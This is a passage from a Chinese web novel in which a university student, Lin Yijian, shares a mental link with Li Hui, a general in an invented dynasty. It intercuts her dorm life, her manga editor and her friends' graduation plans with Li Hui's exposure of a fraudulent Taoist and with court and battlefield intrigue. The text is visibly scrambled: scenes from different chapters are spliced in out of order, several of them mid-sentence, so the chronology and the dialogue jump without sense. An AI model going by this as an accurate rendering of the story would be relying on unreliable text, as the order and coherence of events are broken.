她编辑回复的这会儿功夫,旁边又一声哽咽的啜泣声传来,林一简偏头看过去。 旁边,叶竺妍两腿盘起坐在椅子上、双手抱着抱枕,对着前面屏幕上的苦情剧哭得一把鼻涕一把泪的。 林一简看看屏幕上男女主的生死诀别,再看看眼眶通红,手上的纸巾空了半抽、旁边垃圾桶被填满的叶竺妍,一时不知道该说点什么安慰对方。 煽情的片尾曲播放起来。 叶竺妍胡乱抹了把眼泪,重重地擤了把鼻涕,抬头对上了林一简的目光,闷声闷气地痛斥:“这剧的编剧真不做人!” 林一简应和着点头,但是看过来的目光依旧担忧。 叶竺妍反倒是被她这表情逗笑了,“干什么那么看着我?我现在有这么糟吗?” 她这么说着,起身往洗手池那边走,对着镜子观察了一下自己红肿的眼睛,然后一边鞠着凉水泼脸、一边模糊不清地咕哝着:“确实有点肿了。” 李晦就是这个时候过来的。 他倒是立刻察觉到林一简的异样,[怎么了?心情不好?] 林一简摇头:[不是我,竺妍失恋了。] 李晦“哦~”了一声,没发表什么意见,他和对方又不熟。 倒是那边的叶竺妍,洗把脸的功夫,像是已经收拾好了心情,反过来开导起了林一简,“这没什么的,毕业季、分手季,大学情侣有几个能走到最后的?失恋的又不止我一个。” 林一简“嗯嗯”地点头,但是她偏头看看那边空了半抽的纸巾,觉得叶竺妍可没有嘴上说得那么洒脱。 叶竺妍也瞄向那一垃圾桶的纸团,放弃强撑地重重叹了口气。 她拖着凳子凑得离林一简更近了一点,反过来抱着椅子背跨坐着,耷拉着肩膀叹息,“说难过确实难过,但是这也没办法啊。” 她的视线没有什么准确落点地在寝室里游移着,像是有点走着神开口,“在学校里不用想那么多,谈恋爱就是谈恋爱,开心就完事了,但是快要毕业了,总得考虑一下现实么。” 李晦怔了怔。 考虑“现实”吗? 林一简正满心槽点,旁边却走过来一个人。 她正想着按照先前的应对,随便点点头就走过去,却见对方目标明确的直奔她过来,“回禀节帅,南城墙修砌已经过半,节帅可要去过目一二?” 林一简有点麻,她赶紧地cue李晦:[这要怎么答?你要去看吗?] 李晦倒是很随意:[你让他等着就行,我晚点过去。] 林一简艰难地把那句差点脱口而出的“不好意思”咽下去,跟着李晦的调子重复:“我晚点过去。” 这依样画葫芦学出来的硬邦邦的语气让她浑身都刺挠。 来禀报那人到不觉得有异,只觉得李晦的声音有点紧绷,猜测节帅今日可能心情不太好。当即也不敢多言,恭恭敬敬地领命去了。 还算顺利地蒙混过关,林一简接着按着李晦的指路,去了他平日办公的大堂。 里面已经坐了几个文吏在处理文书,看得出来,李晦来得并不算早……有点羡慕啊,这种“睡觉睡到自然醒”、“醒来以后走两步就到办公室了,还是巡查工作”的生活状态。 林一简正这么想着,却见里面的文吏纷纷见礼之后,一个领头的、看起来气质就很不一般的中年人上前,开口就问:“昨日所言,那吴氏之事、不知节帅意下如何?” 林一简一脸懵逼:什么吴氏?什么昨日? 她还准备问问李晦要怎么回呢,就听对方重重叹了口气。 林一简:[怎么了?] 还能怎么了? 李晦叹气:[你露馅了啊。] 他本来还想试试能装多久呢,结果一个罩面就被看出来了。 也对,就林一简那气质,就是套上棕熊的皮套子,都是仿真一点的游乐园吉祥物的玩偶服套装。 李晦换回身体控制权,也没回答杜彦之刚才那个问题,只是对着对面点了下头,“是我。” 杜彦之愣了一下,也不知想了些什么,脸上的神色飞快变化。 少顷,他微微低下头,声音恭谨:“不知刚才那位,如何称呼?” 林一简尚且不明所以,却听李晦态度自然地接话道:“姓林。” 杜彦之琢磨了一下这个介绍方式,立刻调整了自己应对态度。 虽然神情仍旧恭敬,但是却并非是对仙神诚惶诚恐,而是对普通的贵人尊敬态度,他再次行礼问好道:“见过林姑娘。” 两年前对方离开朔鄢时,脸上还带着点少年的青涩和莽撞,但此时此刻,当那双狭长的眼睛定定看过来的时候,安恒德恍惚生出点看正值盛年的安思范的错觉。 但那点恍惚也只是一瞬,因为李晦很快就扬眉笑了起来,“大哥不想吗?” 不想要那个位置吗? 安恒德听明白了这意思。 但他沉默了一会儿,终是缓缓摇了下头,“这点自知之明,我还是有的。” 李晦嗤笑了声。 他挽了个刀花、将匕首收入鞘中,抬头看向对面,冷声警告,“我带人回朔鄢城,你要是想去就跟着,要是不想就现在滚蛋。少来这些有的没的。” 许玄同僵硬着点头,以示知晓。 李晦这才重新放缓了神情。 再接着坐下去也没什么意思了,李晦站起身来往外走,中途又像是想起什么来似的,顿住回头。 刚松半口气的许玄同差点呛死,连忙正襟危坐、听候差遣。 李晦瞧了两眼他这做派,像是被逗乐了似的笑出声。 在许玄同越发紧张的表情下,轻轻挑眉,“坐那干什么?出来干活。难不成真等着我的人伺候你啊?” 许玄同:“不敢、不敢!” …… 李晦这一趟心情不错地过来,走的时候也脸上带笑。 守门的士卒没觉出有什么不对,如常问候见礼,李晦甚至还有闲心点头回应一二。 但往前走了一段,他脸上的笑意却一点点褪去,不多一会儿就成了面无表情。 他在原地站定了一会儿,低头看向自己的手心,五指轻轻收拢,似乎想要抓住什么。 那里本来什么都没有,自然只能抓住一团空气。 微风打着旋从掌心拂过,李晦微微出神想着那老道刚才的话:梦醒、成空……吗? 第 18 章 第 18 章 李晦心情似乎不太好。 中午李晦一过来,林一简就感觉到了。 她正勾勒画稿的笔顿了顿,询问:[怎么了?出什么事了?] 上次对方这样,似乎还是那次甲胄问题。 李晦还是照例否认,[没什么。] 不过这次总算坦诚了点,紧接着解释,[遇到了一个满口胡说八道的老骗子。] 林一简愣了下,问:[被骗了什么东西吗?很要紧?] 她觉得应该是挺重要的东西,不然李晦不会是这反应。 李晦:[没骗什么,就是说话难听点。我把他警告了一顿,之后应该会老实了。] 李晦说安思范最近犯了脑疾,主要是他把一个坑蒙拐骗的老道士奉为神人。 ——是的,他说的就是许玄同。 按说安思范平常虽也相信这些神鬼之事,但是到底被骗子坑得多了,心底有些戒备,对这些人也不全然相信。 但是这次情况却有所不同,主要是因为他的儿子。 安思范义子不少,但膝下的亲儿子只有安金珠一个,这名字虽然俗了点又有点女儿气,但是见名知意,这独子可真是安思范的宝贝疙瘩、金珠子,养得可比女儿精细多了。 这也没法子,自从阖家被先云州刺史所屠后,这么些年,安思范膝下也只有这么一个儿子,自然是看得比眼珠子还金贵。 可这金珠子却打小身体就不好。 安思范身边没人敢提的,但是大家都心里有点谱,这孩子怕是很难养大成人。就连平时最爱钻营的安恭义都不敢和这位小公子多接触,就怕哪天这小公子出事了,安思范来一句“你平常和珠儿关系最好”,强行把他拉去殉葬。 可是这么一位病歪歪的小公子,在这位新入府的老道士的“天地之气”的接引下,身体居然渐渐有好转的趋势。 反正打那之后,安思范就把人当成真神仙来看了。 见人之前必定沐浴更衣、焚香净手,一应礼节分毫不差,就是见皇帝都没那么恭敬。 “……某有眼不识泰山,实在不知真君降世,竟慢待仙人至此。寒舍鄙陋,实在有辱仙师道体,若是仙师不弃,不若先移步主院暂居,某已命人去会仙山上修建道场,待道场的修葺整齐,仙师再行移驾。” 这真的是真仙师待遇了。 但许玄同哪敢应啊?! 经过昌州的那一遭之后,他深信爬得越高摔得越惨。那家供奉的道士也不止他一个,为什么单单他被挑出来扣锅?不就是出头的椽子先烂,平常太过惹眼的缘故。 许玄同以“修行中人无需世俗富贵”“耽于享乐反而坏了修为”等种种理由,总算婉拒了安思范的盛情,同时也狠刷了一把“世外高人”的形象。等终于把人送走了之后,许玄同整个人都是一瘫。 但是短暂的放松之后,许玄同神情抑不住地焦虑起来。 ——李晦为什么还没来找他?! 经过这么些时日的沉淀,许玄同总算“明白”过来。 他分明是李晦安插到节帅府的一颗暗子!交流项目这边,接连听了几天的学术报告,欧阳艺如是询问。 林一简有点纳闷,但还是如实回答了自己的感受。 她觉得都挺不错的,不管是人工智能还是大数据,信息网络还是量子云计算,看起来都很有前景的样子。 欧阳艺一脸深感认同地狠狠点头,然后终于暴露了自己的意图:“那你呢?怎么样、有没有感受到科研女神的召唤?想不想投身研究事业?” 林一简:?军帐之中是萦绕的血气,针线穿过皮肉,将那道狭长的伤口固定。 好在这道伤口虽然长,但并不算深,要不然军医这会儿就该想怎么把主将的肠子塞回去了。 ——朔鄢出事了。 这是这会儿动动脑子就能想到的事。 事情要从几天前说起,李晦刚刚下令休整,朔鄢就传来急命追击的军令。 这确实是安思范会下的命令,李晦没有多想,重新整兵准备追击,却不想突然被人袭击了……攻击是从背后来的。 前面是田齐丘部众、后面是不知底细、但也显然来者不善的对象,猝不及防的两面夹击,就连李晦也是费了点功夫才稳定住局势。 可这样下去也不是办法。 大军需要补给,但是他们现在根本不知道来的人是敌是友,这么耗着是死路一条,必须弄清楚朔鄢发生了什么。 大概是盼着什么来什么。李晦刚这么想着,就有亲卫过来小声禀报了几句。 李晦愣了一下,不敢相信真有这么好运气,跟旁边确认了好几遍“真的?”之后,起身就要往外走。 但是刚刚起身就被牵动了伤口,疼得他龇牙咧嘴。 本来已经在收拾东西的军医动作顿了顿,转头瞥过来一眼,语气淡淡地:“将军这几日还是静养为上。” 李晦嘶着气比了个“懂了”的手势,改口对一旁的亲卫道:“把人带过来吧。” 但是他在原地等了一会儿,到底坐不住,站起身来慢慢往主帐外挪。 因为要避开伤口,这动作实在费劲,等他掀开帘帐,亲卫已经把那一老一少两个人带过来了。 李晦还没说什么,就见那个小的往前冲了几步,跪地泣涕道:“安恭义毒杀我父亲,求刺史为我爹报仇!!” 这话一出,营中一片哗然。 一时之间,周遭的目光都落在丧父恸哭的孩童上,李晦却抬起了头,看向落后一步的许玄同:这种时候、在这场合、说这样的话,绝对是这厮教的! 确实是许玄同教的。 他先前对跟着李晦出征那么推脱,这会儿突然投靠也得有点诚意,比如说送他一个好名头——有什么比“为旧主报仇”更好的名声?更何况还是死里逃生的旧主独子的恳求。 话虽如此,许玄同也没指着李晦手上的这点残兵杀回去。 他显然在来时路上就做好打算了。 把那边确实哭得快背过气儿去的安金珠抱下去,其余的人都被屏退,留在主帐内的许玄同也顺势开口,“安恭义仓促行事,还来不及顾及他处。刺史不如暂时退守云州,休养生息、以待来日……” 仇是要报的,但又没有说现在报。 敌强我弱的形势,当然要先苟起来发展一波。 许玄同说得头头是道,回神才发现那边坐着的李晦半天没出声。 他愣了一下,低头看过去,却听李晦开口,“是真的?” 许玄同:? 李晦:“安恭义毒杀义父的事。” 什么情况? 欧阳艺深情款款、情真意切,“竺妍肯定要找工作,歆悦也准备考选调了,呜呜呜一简只有你了!陪我一起申请吧!!” 林一简懵了半天才反应过来对方的意思。 “原来我是剩下的那个。”她这么吐槽了一句,倒是正经给出了回答,“现在才开始搞申请,怎么看都来不及了吧?” 欧阳艺一脸正色:“相信你的实力!你可以的!” 林一简:“……”不,我不可以。 她噎了一会儿,纳闷:“你怎么突然想起这个来?” 好像也不是突然,这么想想,欧阳艺先前邀请她参加这个项目就颇有些“居心不良”。 欧阳艺痛苦抱头,“一个人搞申请很难啊,我也想要人陪啊~” “而且一简你真的很适合!超级适合做研究!你难道忍心看着你家亲爱的我孤零零地一个人漂洋过海?” 一双狗狗眼亮晶晶地注视过来,林一简十分动然拒,“抱歉,我有打算了。” 欧阳艺并不意外这个结果,还是哀叹着趴到了桌子上,装模作样地一阵假哭,“呜呜呜一简你变了,你以前都不忍心拒绝我的。” 林一简却怔了怔:她变了吗? 不待她继续深想,那边欧阳艺一阵唉声叹气后,抬头看过来,“可恶!果然还是抢不过。漫画真有那么好吗?” 林一简沉默片刻,缓缓地摇头,“我不知道。” 起码在林爸林妈眼里,这绝对是女儿的“不务正业”。 欧阳艺愣了一下,面露意外。 她完全没想到会是这个答案,还以为林一简会大夸特夸呢。 在这短暂的迟疑间,却见对方一点点笑起来,“但是我很喜欢。” 林一简觉得自己找到答案了,关于那个“重新考虑一下”的结果。 那联系脆弱又虚无、宛若一根孤零零的蛛丝,不知道是哪阵风的巧合,建立了这段相隔时空的联系,却脆弱得不知道什么时候会断裂,但是—— 她微微垂下眼睫,低声重复,“我很喜欢”。 既然“喜欢”,那为什么要在丝线尚未断裂的时候,先一步扯断它呢? 欧阳艺怔怔地看见这垂眸浅笑的一幕。 微微上扬的唇角带着温柔的弧度,宛若一潭静谧的湖水,但是在她身后,将坠的夕阳在天边晕出绯红的色彩、热烈得仿佛火焰在燃烧。 乱世中能混出头的、个顶个都是狠人,许玄同可不敢因为年纪轻看他人,或者说越是年少,他越是不敢轻待。那问题来了,这么一个在战场上长大、生死见惯的将领,会无缘无故救人? 不是兴之所至的随手一捞,真的命人精心照料。救完了之后还分毫不取、毫无索求……那要真是这么个不求回报的大善人,他把头拧下来当球踢! 对方在他身上费了这么大的心力,许玄同只能想到一个原因——他有用。 许玄同一开始没想到自己能有什么用,直到那天节帅府中偶遇、对方假作不识。 他最开始还没反应过来,等到回房细想,越想越是冷汗涔涔,直到背后都生生地湿了一层。 不管是救命之恩,还是醒后的辅以警告,不管是朔鄢城外把他驱离军中,还是节帅府中假作不识……对上了!全都对上了! 对方分明是从一开始就做好了打算,想让他以个人的名义进入节帅府、打入安思范身边,留待后用。 至于说在他离开军中之前,对方特意拆穿了他吃饭的本事…… 那分明是让他乖乖听话,否则有的是法子让他吃不了兜着走! 这么一个恩威并施、走一步算三步的人,居然在外人的评价为“虽勇武有谋略,但颇有些直莽的少年性情”,那些人的眼是被屎糊了吧!! 这情形下,许玄同硬生生地绷住了那仙风道骨的皮,语气平缓道:“某观这营中煞气太重,恐于将士们不利。将军救命大恩无以为报,某也只能以己所学,略尽绵薄之力。” 许玄同尽力让自己的语气显得真诚。 ——听见没有?他这是为了报恩的,完全没什么别的意思!真的! 李晦似笑非笑地瞥了人一眼,然后打量了一番周围布置。 也不知道这人从哪倒腾来的香案烛蜡桃木剑,布置得有模有样的。李晦看了眼许玄同手里的符纸,又看了眼放在旁边的一碗水,琢磨着先前在林一简那边看的“魔术”,心底大概有数了。 酚酞遇碱变红……是这个说法吧? 他默念了一遍这个有点别扭的说辞,又往前面走了几步,拿手捞了捞对方搁置在另一边的一盆水,果不其然,嗅到了淡淡酸味。 李晦就这么用湿淋淋的、沾着醋的手,抬手接过了许玄同手里的符纸。 许玄同完全不敢反抗,眼睁睁地看见李晦把提前绘好的符用醋水抹了一遍,慢条斯理地又抬头看他,“还请仙师为小子解惑,这煞气要如何化解?” 许玄同:“……” 还“小子”呢?这分明是个“祖宗”!! 都做得这么明显了,许玄同要还不知道对方已经看穿了其中把戏就有鬼了。 怪不得那儿没能忽悠着,原来是个行家! 第 19 章 第 19 章 [讲座?什么讲座?] 李晦都在这边呆了这么久了,早就知道“讲座”是什么,问的只能是讲座的内容。 林一简知道他的意思,但还是迟疑了一会儿,才低声解释:[是位研究S代史的教授,听说这次讲座是讲古代军事相关。] 林一简的迟疑还是有道理的,几乎是她刚刚说完,那股不满的情绪就立刻明明白白地浮现。 李晦语调挑得老高,[古代军事?] 林一简:[……] 她就知道。 林一简硬着头皮“嗯”了声。 李晦:[‘古代军事’你问别入?你倒是说说,你问什么我没告诉你啊?……教授?他上过战场吗?见过攻城吗?指挥过大军吗?] 李晦下意识地拖延,却没想到林一简那边期末考试还没到呢,他这里先出了变故。 宣义节度使田齐丘攻占息州,安思范自然不可能坐视不理,命麾下将领带兵迎击。三年前,朔方和定宁那一仗大军就是走的息州,这一次安思范倒也没有另委他人,而是让安恒德带兵主力、正面迎击。而李晦再次分兵,走禹州锦平那一路。 若是以往,田齐丘这么大张旗鼓地来犯,安思范必定亲自出手,送对方一个有来无回,但是这一次他却毫无亲征的意思。 安恒德本来还想着门口李晦的那话呢,结果一路往里走着,被旁边的罗氏瞪了好几眼。 安恒德:? 他被看得莫名:难不成真的因为自己刚才没让李晦进门啊?也不想想那臭小子说了什么,那是能一点头就答应的事吗?! 罗氏看着安恒德这半点不开窍的样子就来气,忍了又忍,还是没忍住把人揪到了一边,压着嗓子小声道:“你怎么当大哥的?元绩都快说亲了,你还放着人不管?” 安恒德愣了一下,觉得自己很冤得慌。 那臭小子是能管的吗?安思范送的人他都敢往外扔,天知道他那会儿听说这事、心脏都快吓停了。 罗氏可不知道这些内情,她只是低着声又道:“上次那个姑娘呢?你就没问问?” 安恒德无奈:“这都两年多了,就真有什么姑娘也早就说亲嫁人了。” 云州一行生死未卜的,人家姑娘凭什么等他啊? 罗氏瞪了他一眼,也懒得和人分辩那么多,干脆利落道:“你去问!” 安恒德:“……” 自家夫人的话当然不能轻慢,安恒德本来还想和李晦说说朔鄢现在的局势呢,但因为罗氏路上的那番话,等进了书房,开口第一句却是:“你上次送簪子那姑娘如何了?” 李晦也没想到安恒德第一句是问这个。 他愣了一下,旋即沉默了。 安恒德看他的表情就知道情况恐怕没那么如意。 他叹了口气,抬手拍了拍李晦的后背,开解道:“你耽误两年没什么,姑娘家的两年可耽误不起。” 李晦怔了怔:“耽误”吗? “……人家总得嫁人的。” 安恒德刚说完这话就觉出李晦表情不对,他眉心一跳,总算意识到问题所在:按照一般人的想法,心上人嫁人的,这事就完了,但是要照李晦的思路来,这事显然不可能这么结束…… 安恒德觉得眼下这情况,简直堪比门外听见李晦那句“我想”。 ——他想个屁!不能想!! 安恒德肃下表情,“我可告诉你,你别动那些心思!” 他倒也想起李晦那吃软不吃硬的狗脾气,深吸口气,放软了语气,“就算不为别人,也为那姑娘想想,人家日子过得好好的,要是因为你平白遭了祸事……” 安恒德还没说完呢,就被李晦打断,“我知道了。” 安恒德略微诧异地抬头,对上李晦平静的目光。 他语调平稳、表情十分冷静地开口,“大哥说的有理,我会照做的。” 安恒德:“……” 他不信!一个字都不信!!就眼前这个犟种,能三两句话说通才怪,他绝对憋着个大的! 是不能去?还是不想去? 无论哪一个,其背后的意味都很可怕。 前者是身体的衰败,而后者却是心智的消磨。对现在的朔鄢来说,这完全是往烧得正烈的火堆上,又泼了一桶滚油。 等到来下达命令的使者离开,李晦对着屏风的方向笑了下,“你可都听见了?还打算跟着我走?” 刚刚还抱着李晦大腿,一口一个“恩人”、涕泗横流地想跟着对方回云州的许玄同:“……” 他觉得这事可以再考虑考虑。 原本朔鄢的局势一天比一天乱,许玄同这个地位超脱的“仙师”也有点慌了。他这点超然地位完全是安思范给的,本来靠着一些养生法子和消炎退烧药,那颗金珠子情况倒是勉强安稳了,可谁能想到,这节骨眼上、金大.腿反而出状况了。 眼见着安思范的身体却一天比一天差,保不齐哪天人就没了,又不知道新节度使上位之后,他到底是“仙师”还是“妖道”。这情况下,许玄同当然得死死抱紧他的“真·大腿”啊! 但是李晦这会儿要去打仗去了。 战场上刀剑无眼的…… 许玄同尬笑着从屏风后面绕出来。 待重新在李晦对面坐定,他仿佛先前无事发生,满脸仙风道骨地,“某一定在朔鄢城内消灾祈福,望恩人早日凯旋。” 李晦嗤笑了一声,本来想嘲讽两句对方这满口瞎话的,但是话到嘴边终究咽下去。 这老骗子有一句话确实说对了。 梦总会有醒的那一天。 林一简:[……没。] 关心鼓励的消息一条接着一条发过来,林一简本来想要解释一下自己的身体状况,再加上这段时间连续赶工带来的仿佛脑子被挖空的情形。 但是随着那一条条消息的不断地发过来,林一简最后的回复却是:[这不是我想要的] 看着发出去的那条消息,林一简愣神了一下。 恍惚间终于明白了这几天的内心那空荡荡的感觉是什么了,不是因为过度忙碌带来的无暇他顾,而是这一切,热度也好、追捧也好,根本不是她想要的。 漫画于她而言是什么? 是快乐、是喜欢,是凭着画笔构筑一个虚构的世界,然后将之呈现给更多的人。她当然想要很多的承认和认可,但却并不是以当下这种方式。 那种恍然的感受来得实在突然,林一简编辑了很长一段消息来解释自己的想法。 等把那小作文一样的内容发出去之后,她才终于回神。 再重新浏览一遍自己写了些什么之后…… 林一简:撤回!“撤回”在哪里?!QAQ! 她羞耻感爆棚地哆嗦着按住了那条消息,还没有来得及选中撤回选项,对面的回复已经发过来了。 编辑松鼠:[好的,我了解了] 编辑松鼠:[是我考虑得不周到,你这段时间先好好休息,别的事情我来解决] 林一简怔了怔。 她没想到对面会这么容易就答应下来,毕竟对方对这件事一直表现得就很热切的样子。 她犹豫了一下,还是回复,[抱歉,给您添麻烦了]和外头那个叫个人都黑脸的侯畋不一样,石让熊倒是态度端正地摆明了下属的姿态,一见人就规规矩矩地行礼,“石某见过刺史。” 李晦可还没忘这人当初想夺刀胁迫他呢。 他默默腹诽两句“真是咬人的狗不叫”,倒也懒得和他纠缠,直接问:“你人挑好了?” 石让熊颔首称是。 李晦点了下头,“行,让他们准备准备。等过两日麦收了,我寻个由头在东边那边开个口子,你叫人机灵点,别死在半路上。” 安思范让他来云州不是搞祥瑞来了,李晦还没这么想不开,把这些“嘉禾”和自己绑起来。让这些人带了麦种出去,之后云州如何、那是云州自己的事,和他没什么关系。 李晦交代完就打算离开,临走却被安思范叫住:“为什么?” 李晦:“嗯?” 石让熊:“安思范并不知你所为吧?你非云州人士,云州如何与你无干,反倒是麦种之事被安思范所知,你的下场恐怕不会好。” 李晦脚步顿住,他上下打量了石让熊一眼,倏地笑了。 “你说得对。”他这么说着,唇角的弧度越发上扬,笑容显得恶劣起来,“说不准我是想以此设圈套,假意放你们的人出去,实则半路设伏,让他们有去无回呢?” 石让熊拱了拱手,“刺史说笑。” 别说以他们现在任人宰割的状态,李晦这么干没什么意义了,就是事实李晦真的如他说的那样,麦种之事事关重大,这也值得他们拼死闯一闯了。 李晦瞥了下嘴。 真没意思。 他很没趣地摆了摆手,“问那么多干什么?我看你是闲得慌,西边那两亩地还荒着呢,你去把它开了吧。” 石让熊:“是。” 李晦:“……”跟这人说话能把人噎死。 他又多补了句“你自己动手”,这才心气稍微顺了点,抬脚往外走。一直等看见田中的金黄麦穗,他神情才终是渐渐舒展—— “为什么”啊? 大概因为他女朋友是个仙女吧~ 李晦短暂地轻笑了一下,五官又拧成了一团。 等到了明年云州各地报祥瑞,希望许玄同那边忽悠得住吧!……不行,他还得给朔鄢去封信的、和那老骗子好好说道说道这事。这要是真搞砸了,他们全得吃不了兜着走! 编辑松鼠:[没什么麻烦,毕竟这是我的工作] 顿了一下,又回:[倒是你,这段时间累坏了吧?好好休息一阵子再说] 林一简有点感动。 能遇到这么一位编辑真是太好了! 等终于和编辑聊完,林一简放下手机,心情却一时有点茫然。 这件事算是解决了? 好像也没有想象中的那么难。 林一简觉得这会儿应该有很多感慨,但是她只觉得累。 骤然放松之后涌上来的疲惫感淹没了所有情绪,她艰难地爬上床铺,连衣服都来不及换,倒头就睡了过去。 林一简确实想一个人冷静一下。 不过在此之前,她轻轻笑起来,[谢谢你。] 作为第一部正式的作品,林一简知道自己的漫画和许许多多的新人的一样,有个各式各样的小毛病。 要说有什么不同,大概是因为这份神奇的缘分,让她能够通过另一个人来了解一个架空朝代的真实信息。不是冷冰冰的文献资料,而是生活化的种种细节……果然是金手指吧! 在这轻快又柔软的情绪传递下,李晦却怔然了瞬许。 心脏的跳动有片刻的失序,过往画面在心底一帧帧浮现,某些模糊的感受在这一瞬变得尤为清晰。 李晦半晌都没有回答。 这沉默有点太久,林一简渐渐不安起来,心底七上八下的,越发加剧了这种烦乱的情绪。但就在林一简都忍不住出声询问是怎么回事的时候,却听到一声嘲笑,[道个谢而已,你紧张什么?] 林一简:……???? 所以,你专门沉默那么久,就是为了看我紧张? 啊啊啊这人怎么能这么混蛋啊?!! …… 那天李晦什么要求都没提就走了。 林一简气消了以后,觉得有点不对。她都做好了被人蹬鼻子上脸,答应点不那么过分要求的准备了,结果李晦什么都没说……不像是他的风格啊? 第 20 章 第 20 章 李晦赶回朔鄢的时候,正好赶上年节尾巴。 安思范大办宴席,犒赏这一仗的大功臣。 不过这宴席虽大,但到底沾了半个年宴的名头,便有些心底不平之人私底下以此为由,说道些如“那小子不过碰巧赶上了”、“便是没有他、节帅今年也要大办”云云的话。 这些话不知道怎么穿到安思范耳朵里了。 安思范对自己看好的人,从来不吝嘉赏。更何况李晦这仗打得实在对他胃口,他对这义子更是怎么看怎么喜欢。 对于这些流言,安思范也没费劲澄清什么。干脆等出了年之后,又专门办了第二场宴会——指了名地为李晦接风洗尘。 李晦被告知的时候,还愣了一下,他纳闷:“不是已经接过风了?” 这都回来这么久了,还接哪门子风啊? 来人低头回禀:“节帅道‘年节忙乱,顾不上那许多,实在慢怠了功臣。如今终于得了闲,也该正经接个风’。节帅又让将军不必介怀那些话,此战首功,非将军莫属,万莫因外人一两句言语,离间了父子之情。” 李晦怔了一下,若有所思。 但是在来传话的人抬头之前,他已经收起表情。一副深受感动的样子,“义父待晦恩重如山,晦怎会因外人一两句话心生嫌隙?……” 李晦对杜彦之的话听是听了,但却没怎么放在心上:安思范旧伤发作又不是一次两次了,又有许玄同在旁边看着,能出什么事啊? 但是这点不以为意的想法在真的回到朔鄢、见到安思范的时候,戛然而止。 李晦愣住了。这场营救最后也没能成功,几人争执间耽搁了太久,外面的骚乱渐渐平息,有守卫过来查看情况,刘老四只能被迫离开。 这场夜间的变故第二天一早就被送到了李晦的案头,关乎着当下垦荒开地的进度,李晦亲自来看的情况。 而猴儿的情况已经很不好了。 昨夜的那番变故本就耗费心神,心绪大起大伏本就有碍身体,他又意识到自己成了拖累,丧失了求生意志之后,第二天直接没能起得来。 军中人口密集,一旦有人闹了病,很容易变成全军的瘟疫,守卫对这情况都十分警惕。 猴儿如今阶下囚的身份不可能有人给他请医,那处理方法就很简单了,守卫当即就要把人往外拖。云中军的人自然不让,两厢便这么争执起来。 李晦来的时候,就正撞见这一幕。 看守的士卒人数不多,但是李晦身后跟着的亲卫人却不少,这呼啦啦一帮子人一过来,场面被迫冷静下来。 李晦大马金刀往旁边一坐,晃了晃手里的漆黑鞭子,“说说吧,怎么回事?” 看守的士卒是云州守军,闻言上前一步,“回刺史,有人闹了病,属下正想要处置,可这伙儿人不服管教……” 他这话没说完,后头就有人愤恨高声:“根本不是病!你光叫人干活,不给饭吃,神仙来了都挺不住。” 李晦瞥了那看守士卒一眼,后者连忙辩解,“刺史莫听这人信口胡沁,属下都是奉命行事,绝不敢故意克扣、耽误了刺史的大事。” 稍微刮点油水还是有的,但是他们也不敢做得太过。 一来,这新刺史才刚刚到任、他们尚且摸不准脾性,再者,这会儿敢到云州的都是狠人、他们也不敢得罪狠了。 至于到底是病了还是饿的,看一眼就知道了。 李晦起身往前,但是刚刚走了几步,变故陡生。 俘虏中一人突然快步上前,夺了一旁守卫的佩刀,直扑李晦而来。 一切发生在电光火石之间,最后的结果却是冲上来那人被一脚踹翻,扭着胳膊按在了地上。 李晦抬脚踩着人的脊背碾了碾,一阵令人牙酸的关节错位的声音,同时伴随着一声闷哼,李晦捡起一旁落地的佩刀,慢条斯理地在手里晃了两下,似乎在考量从哪下手。 另一边俘虏里的人终于有人忍不住低呼,“头儿!” 李晦顿了下,突然笑出了声。 他低头往下看了眼,莞尔,“原来是你啊。” 他就说这帮人里绝对有个领头的,不然这一路上也太安分了。 他轻轻晃了晃手里的刀,锋刃在阳光下反射的凛凛的寒光,和那白森森的牙齿一样晃眼,他笑盈盈地问:“咱们谈谈?” 坐在上首的人眼神依旧锐利、气势依旧迫人。但是仔细看去,那迫人的气势下是微微佝偻的脊背,斑白的鬓发下、眼珠已经浑浊。 李晦头一次这么真切地意识到,安思范老了。 ——那个昔日他眼中不可逾越的高耸山峰,仿佛徒手都可以攀爬。 既然他都会生出这种想法,那么其他人呢? 李晦将目光缓缓转过一边,想看看那些旧日同僚。 居然是安恭义先对上了他的视线。 安恭义依旧一张亲切的笑脸,看不出半分曾经芥蒂的模样,“李刺史果真青年才俊,战阵之中,有能冠三军之勇,抚绥一隅,亦若屈指小事……文武兼备,实非凡人可比。” 李晦定定地看了会儿那张状似感慨的脸,半晌,笑道:“安都校谬赞了。” 他这么说着,就着对方遥祝的姿势,将手中的酒一饮而尽,对着对方亮了亮杯底。 安恭义:“……”是夜,云延城内。 李晦这一路俘虏的人不少,但既然是阶下囚了,也谈不上有什么特殊待遇,刺客也不至于傻到暴露自己这边有什么重要人物,故而所有人都一视同仁地被安排干了苦力。 李晦还不至于对这些人有什么优待,干得多吃得少,每日回到歇脚的草棚子里都头晕眼花,连逃跑的力气都提不起来。 但里面的人虽逃不出去,却不影响外面的人营救。 夏日的鸟鸣虫咴随处可闻,便有一两声掺杂了别的韵律的也让人一时听不出来,值守的士卒并没有察觉什么不对,但是几个浅眠的囚徒却猝然惊醒,几人对视了一眼,摸着黑往旁边摸索着,同时小声唤着,“头儿”、“将军”。 被叫的人早都醒了,那是个面相平平、看起来很忠厚老实的男人。 他当然不是什么朝廷册封的将军、更不可能是安思范所立。这年头占个山头都能落草为王,就是自封“宇宙无敌威武大将军”都没人管,云州的这一波反抗势力自称“云中军”,里面自然又相应的领头者,也便是“将军”了。 所谓“云中军”其实也只是一个笼统的称呼,里面按着地域分了好几支不同的小势力,各个势力虽用了相同的名字,但平素里却多是互不干涉,这位“石将军”只是其中一支的头目。他既被俘,必然是有人来救的。 外面看守不知遇到了什么变故,短暂地骚乱了一会儿,里面几个人屏息等候。 但是隔了一会儿,进来的却是一个看守的守卫。 几人心下一沉,但再细看,却从那泥糊了面孔中认出一张熟脸。 便有人惊呼:“刘老四!” 这会儿也没工夫叙旧,刘老四冲着人点点头,便对着旁边石让熊道:“将军,还请跟着我走。弟兄们在东头接应。” 林一简倒是不介意和叶竺妍一起出去这一次,不过她犹豫了一下,还是拿出了手机,点开某个页面、递到了叶竺妍面前。 上面是A市游乐活动宣传:【春末夏初、酷暑将至,让我们和KK共迎炎炎夏日!】 林一简:“最近A乐园有主题活动,我记得你还挺喜欢……” 林一简还没说完,对面就一声斩钉截铁,“去!” “呜呜呜还是简简懂我!” 叶竺妍这么说着,双手前伸、一副想扑过来的姿势,被林一简眼明手快地按在了原地。 她自己被扑一扑倒是没什么,她怕李晦条件反射把人扔出去……为了室友的人身安全,她也是操碎了心。 在叶竺妍困惑的目光下,林一简清清嗓子、镇定开口:“我去问问欧阳和歆悦。” 